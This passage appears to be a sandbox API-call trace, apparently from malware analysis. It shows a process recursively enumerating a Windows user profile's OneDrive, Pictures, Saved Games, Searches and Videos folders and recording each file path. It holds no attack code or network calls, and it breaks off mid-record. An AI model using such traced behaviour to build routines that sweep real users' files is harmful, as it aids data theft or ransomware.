lpString1="c:\\Users\\aETAdzjz\\OneDrive\\") returned="c:\\Users\\aETAdzjz\\OneDrive\\" [0121.653] lstrlenW (lpString="c:\\Users\\aETAdzjz\\OneDrive\\") returned 27 [0121.653] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\OneDrive\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\OneDrive\\*") returned="c:\\Users\\aETAdzjz\\OneDrive\\*" [0121.653] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\OneDrive\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.654] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.654] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.654] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.654] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.654] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.654] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.654] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.654] lstrlenW (lpString="c:\\Users\\aETAdzjz\\OneDrive\\") returned 27 [0121.654] lstrlenW (lpString="desktop.ini") returned 11 [0121.654] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\OneDrive\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\OneDrive\\desktop.ini") returned="c:\\Users\\aETAdzjz\\OneDrive\\desktop.ini" [0121.654] lstrlenW (lpString="c:\\Users\\aETAdzjz\\OneDrive\\desktop.ini") returned 38 [0121.654] lstrcpyW (in: lpString1=0x24ab938, lpString2="c:\\Users\\aETAdzjz\\OneDrive\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\OneDrive\\desktop.ini") returned="c:\\Users\\aETAdzjz\\OneDrive\\desktop.ini" [0121.654] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.654] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.654] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.654] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0121.654] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0121.654] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.654] lstrlenW (lpString="Pictures") returned 8 [0121.654] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Pictures" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures") returned="c:\\Users\\aETAdzjz\\Pictures" [0121.654] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Pictures", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\") returned="c:\\Users\\aETAdzjz\\Pictures\\" [0121.654] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\") returned 27 [0121.654] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Pictures\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\*") returned="c:\\Users\\aETAdzjz\\Pictures\\*" [0121.654] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Pictures\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.654] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.654] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.654] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.654] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.654] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.654] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.654] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.654] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\") returned 27 [0121.654] lstrlenW (lpString="desktop.ini") returned 11 [0121.654] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Pictures\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Pictures\\desktop.ini" [0121.655] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\desktop.ini") returned 38 [0121.655] lstrcpyW (in: lpString1=0x24ab990, lpString2="c:\\Users\\aETAdzjz\\Pictures\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Pictures\\desktop.ini" [0121.655] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.655] lstrcmpW (lpString1="j7VqvazuU4", lpString2=".") returned 1 [0121.655] lstrcmpW (lpString1="j7VqvazuU4", lpString2="..") returned 1 [0121.655] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\") returned 27 [0121.655] lstrlenW (lpString="j7VqvazuU4") returned 10 [0121.655] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Pictures\\", lpString2="j7VqvazuU4" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\j7VqvazuU4") returned="c:\\Users\\aETAdzjz\\Pictures\\j7VqvazuU4" [0121.655] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.655] lstrcmpW (lpString1="W6ad.gif", lpString2=".") returned 1 [0121.655] lstrcmpW (lpString1="W6ad.gif", lpString2="..") returned 1 [0121.655] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\") returned 27 [0121.655] lstrlenW (lpString="W6ad.gif") returned 8 [0121.655] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Pictures\\", lpString2="W6ad.gif" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\W6ad.gif") returned="c:\\Users\\aETAdzjz\\Pictures\\W6ad.gif" [0121.655] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\W6ad.gif") returned 35 [0121.655] lstrcpyW (in: lpString1=0x24afb18, lpString2="c:\\Users\\aETAdzjz\\Pictures\\W6ad.gif" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\W6ad.gif") returned="c:\\Users\\aETAdzjz\\Pictures\\W6ad.gif" [0121.655] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.655] lstrcmpW (lpString1="xV29v9LM6U3E.bmp", lpString2=".") returned 1 [0121.655] lstrcmpW (lpString1="xV29v9LM6U3E.bmp", lpString2="..") returned 1 [0121.655] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\") returned 27 [0121.655] lstrlenW (lpString="xV29v9LM6U3E.bmp") returned 16 [0121.655] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Pictures\\", lpString2="xV29v9LM6U3E.bmp" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\xV29v9LM6U3E.bmp") returned="c:\\Users\\aETAdzjz\\Pictures\\xV29v9LM6U3E.bmp" [0121.655] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\xV29v9LM6U3E.bmp") returned 43 [0121.655] lstrcpyW (in: lpString1=0x24ac8d0, lpString2="c:\\Users\\aETAdzjz\\Pictures\\xV29v9LM6U3E.bmp" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\xV29v9LM6U3E.bmp") returned="c:\\Users\\aETAdzjz\\Pictures\\xV29v9LM6U3E.bmp" [0121.655] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.655] lstrcmpW (lpString1="X_Eh_I6L5xn.png", lpString2=".") returned 1 [0121.655] lstrcmpW (lpString1="X_Eh_I6L5xn.png", lpString2="..") returned 1 [0121.655] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\") returned 27 [0121.655] lstrlenW (lpString="X_Eh_I6L5xn.png") returned 15 [0121.655] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Pictures\\", lpString2="X_Eh_I6L5xn.png" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\X_Eh_I6L5xn.png") returned="c:\\Users\\aETAdzjz\\Pictures\\X_Eh_I6L5xn.png" [0121.655] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\X_Eh_I6L5xn.png") returned 42 [0121.655] lstrcpyW (in: lpString1=0x24ac930, lpString2="c:\\Users\\aETAdzjz\\Pictures\\X_Eh_I6L5xn.png" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\X_Eh_I6L5xn.png") returned="c:\\Users\\aETAdzjz\\Pictures\\X_Eh_I6L5xn.png" [0121.655] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.655] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.655] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.656] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0121.656] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0121.656] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.656] lstrlenW (lpString="PrintHood") returned 9 [0121.656] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="PrintHood" | out: lpString1="c:\\Users\\aETAdzjz\\PrintHood") returned="c:\\Users\\aETAdzjz\\PrintHood" [0121.656] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\PrintHood", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\PrintHood\\") returned="c:\\Users\\aETAdzjz\\PrintHood\\" [0121.656] lstrlenW (lpString="c:\\Users\\aETAdzjz\\PrintHood\\") returned 28 [0121.656] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\PrintHood\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\PrintHood\\*") returned="c:\\Users\\aETAdzjz\\PrintHood\\*" [0121.656] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\PrintHood\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.656] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.656] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0121.656] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0121.656] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.656] lstrlenW (lpString="Recent") returned 6 [0121.656] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Recent" | out: lpString1="c:\\Users\\aETAdzjz\\Recent") returned="c:\\Users\\aETAdzjz\\Recent" [0121.656] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Recent", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Recent\\") returned="c:\\Users\\aETAdzjz\\Recent\\" [0121.656] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Recent\\") returned 25 [0121.656] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Recent\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Recent\\*") returned="c:\\Users\\aETAdzjz\\Recent\\*" [0121.656] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Recent\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.656] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.656] lstrcmpW (lpString1="Saved Games", lpString2=".") returned 1 [0121.656] lstrcmpW (lpString1="Saved Games", lpString2="..") returned 1 [0121.656] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.656] lstrlenW (lpString="Saved Games") returned 11 [0121.656] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Saved Games" | out: lpString1="c:\\Users\\aETAdzjz\\Saved Games") returned="c:\\Users\\aETAdzjz\\Saved Games" [0121.656] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Saved Games", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Saved Games\\") returned="c:\\Users\\aETAdzjz\\Saved Games\\" [0121.656] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Saved Games\\") returned 30 [0121.656] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Saved Games\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Saved Games\\*") returned="c:\\Users\\aETAdzjz\\Saved Games\\*" [0121.656] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Saved Games\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.656] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.656] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.656] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.656] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.656] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.656] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.656] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.656] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Saved Games\\") returned 30 [0121.656] lstrlenW (lpString="desktop.ini") returned 11 [0121.656] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Saved Games\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Saved Games\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Saved Games\\desktop.ini" [0121.657] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Saved Games\\desktop.ini") returned 41 [0121.657] lstrcpyW (in: lpString1=0x24ac990, lpString2="c:\\Users\\aETAdzjz\\Saved Games\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Saved Games\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Saved Games\\desktop.ini" [0121.657] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.657] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.657] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.657] lstrcmpW (lpString1="Searches", lpString2=".") returned 1 [0121.657] lstrcmpW (lpString1="Searches", lpString2="..") returned 1 [0121.657] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.657] lstrlenW (lpString="Searches") returned 8 [0121.657] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Searches" | out: lpString1="c:\\Users\\aETAdzjz\\Searches") returned="c:\\Users\\aETAdzjz\\Searches" [0121.657] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Searches", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Searches\\") returned="c:\\Users\\aETAdzjz\\Searches\\" [0121.657] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Searches\\") returned 27 [0121.657] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Searches\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Searches\\*") returned="c:\\Users\\aETAdzjz\\Searches\\*" [0121.657] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Searches\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.657] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.657] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.657] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.657] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.657] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.657] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.657] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.657] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Searches\\") returned 27 [0121.657] lstrlenW (lpString="desktop.ini") returned 11 [0121.657] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Searches\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Searches\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Searches\\desktop.ini" [0121.657] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Searches\\desktop.ini") returned 38 [0121.657] lstrcpyW (in: lpString1=0x24ab9e8, lpString2="c:\\Users\\aETAdzjz\\Searches\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Searches\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Searches\\desktop.ini" [0121.657] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.657] lstrcmpW (lpString1="Everywhere.search-ms", lpString2=".") returned 1 [0121.657] lstrcmpW (lpString1="Everywhere.search-ms", lpString2="..") returned 1 [0121.657] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Searches\\") returned 27 [0121.657] lstrlenW (lpString="Everywhere.search-ms") returned 20 [0121.657] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Searches\\", lpString2="Everywhere.search-ms" | out: lpString1="c:\\Users\\aETAdzjz\\Searches\\Everywhere.search-ms") returned="c:\\Users\\aETAdzjz\\Searches\\Everywhere.search-ms" [0121.657] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Searches\\Everywhere.search-ms") returned 47 [0121.657] lstrcpyW (in: lpString1=0x24ad760, lpString2="c:\\Users\\aETAdzjz\\Searches\\Everywhere.search-ms" | out: lpString1="c:\\Users\\aETAdzjz\\Searches\\Everywhere.search-ms") returned="c:\\Users\\aETAdzjz\\Searches\\Everywhere.search-ms" [0121.657] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.657] lstrcmpW (lpString1="Indexed Locations.search-ms", lpString2=".") returned 1 [0121.657] lstrcmpW (lpString1="Indexed Locations.search-ms", lpString2="..") returned 1 [0121.657] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Searches\\") returned 27 [0121.657] lstrlenW (lpString="Indexed Locations.search-ms") returned 27 [0121.657] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Searches\\", lpString2="Indexed Locations.search-ms" | out: lpString1="c:\\Users\\aETAdzjz\\Searches\\Indexed Locations.search-ms") returned="c:\\Users\\aETAdzjz\\Searches\\Indexed Locations.search-ms" [0121.657] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Searches\\Indexed Locations.search-ms") returned 54 [0121.657] lstrcpyW (in: lpString1=0x24a9008, lpString2="c:\\Users\\aETAdzjz\\Searches\\Indexed Locations.search-ms" | out: lpString1="c:\\Users\\aETAdzjz\\Searches\\Indexed Locations.search-ms") returned="c:\\Users\\aETAdzjz\\Searches\\Indexed Locations.search-ms" [0121.657] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.657] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.658] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.658] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0121.658] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0121.658] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.658] lstrlenW (lpString="SendTo") returned 6 [0121.658] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="SendTo" | out: lpString1="c:\\Users\\aETAdzjz\\SendTo") returned="c:\\Users\\aETAdzjz\\SendTo" [0121.658] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\SendTo", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\SendTo\\") returned="c:\\Users\\aETAdzjz\\SendTo\\" [0121.658] lstrlenW (lpString="c:\\Users\\aETAdzjz\\SendTo\\") returned 25 [0121.658] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\SendTo\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\SendTo\\*") returned="c:\\Users\\aETAdzjz\\SendTo\\*" [0121.658] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\SendTo\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.658] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.658] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0121.658] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0121.658] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.658] lstrlenW (lpString="Start Menu") returned 10 [0121.658] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Start Menu" | out: lpString1="c:\\Users\\aETAdzjz\\Start Menu") returned="c:\\Users\\aETAdzjz\\Start Menu" [0121.658] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Start Menu", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Start Menu\\") returned="c:\\Users\\aETAdzjz\\Start Menu\\" [0121.658] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Start Menu\\") returned 29 [0121.658] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Start Menu\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Start Menu\\*") returned="c:\\Users\\aETAdzjz\\Start Menu\\*" [0121.658] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Start Menu\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.658] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.658] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0121.658] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0121.658] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.658] lstrlenW (lpString="Templates") returned 9 [0121.658] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Templates" | out: lpString1="c:\\Users\\aETAdzjz\\Templates") returned="c:\\Users\\aETAdzjz\\Templates" [0121.658] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Templates", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Templates\\") returned="c:\\Users\\aETAdzjz\\Templates\\" [0121.658] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Templates\\") returned 28 [0121.658] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Templates\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Templates\\*") returned="c:\\Users\\aETAdzjz\\Templates\\*" [0121.658] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Templates\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.658] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.658] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0121.658] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0121.658] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.658] lstrlenW (lpString="Videos") returned 6 [0121.658] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Videos" | out: lpString1="c:\\Users\\aETAdzjz\\Videos") returned="c:\\Users\\aETAdzjz\\Videos" [0121.658] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\") returned="c:\\Users\\aETAdzjz\\Videos\\" [0121.658] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\") returned 25 [0121.658] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\*") returned="c:\\Users\\aETAdzjz\\Videos\\*" [0121.659] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Videos\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.659] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.659] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.659] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.659] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.659] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.659] lstrcmpW (lpString1="0UkyQiJAIBqIMYG0P7Rm.swf", lpString2=".") returned 1 [0121.659] lstrcmpW (lpString1="0UkyQiJAIBqIMYG0P7Rm.swf", lpString2="..") returned 1 [0121.659] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\") returned 25 [0121.659] lstrlenW (lpString="0UkyQiJAIBqIMYG0P7Rm.swf") returned 24 [0121.659] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="0UkyQiJAIBqIMYG0P7Rm.swf" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\0UkyQiJAIBqIMYG0P7Rm.swf") returned="c:\\Users\\aETAdzjz\\Videos\\0UkyQiJAIBqIMYG0P7Rm.swf" [0121.659] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\0UkyQiJAIBqIMYG0P7Rm.swf") returned 49 [0121.659] lstrcpyW (in: lpString1=0x24ae850, lpString2="c:\\Users\\aETAdzjz\\Videos\\0UkyQiJAIBqIMYG0P7Rm.swf" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\0UkyQiJAIBqIMYG0P7Rm.swf") returned="c:\\Users\\aETAdzjz\\Videos\\0UkyQiJAIBqIMYG0P7Rm.swf" [0121.659] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.659] lstrcmpW (lpString1="3N1s.mp4", lpString2=".") returned 1 [0121.659] lstrcmpW (lpString1="3N1s.mp4", lpString2="..") returned 1 [0121.659] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\") returned 25 [0121.659] lstrlenW (lpString="3N1s.mp4") returned 8 [0121.659] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="3N1s.mp4" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\3N1s.mp4") returned="c:\\Users\\aETAdzjz\\Videos\\3N1s.mp4" [0121.659] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\3N1s.mp4") returned 33 [0121.659] lstrcpyW (in: lpString1=0x24afb68, lpString2="c:\\Users\\aETAdzjz\\Videos\\3N1s.mp4" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\3N1s.mp4") returned="c:\\Users\\aETAdzjz\\Videos\\3N1s.mp4" [0121.659] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.659] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.659] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.659] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\") returned 25 [0121.659] lstrlenW (lpString="desktop.ini") returned 11 [0121.659] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Videos\\desktop.ini" [0121.659] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\desktop.ini") returned 36 [0121.659] lstrcpyW (in: lpString1=0x24aba40, lpString2="c:\\Users\\aETAdzjz\\Videos\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Videos\\desktop.ini" [0121.659] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.659] lstrcmpW (lpString1="Fd 0EikYigmitDBhxtW.flv", lpString2=".") returned 1 [0121.659] lstrcmpW (lpString1="Fd 0EikYigmitDBhxtW.flv", lpString2="..") returned 1 [0121.659] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\") returned 25 [0121.659] lstrlenW (lpString="Fd 0EikYigmitDBhxtW.flv") returned 23 [0121.659] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="Fd 0EikYigmitDBhxtW.flv" | 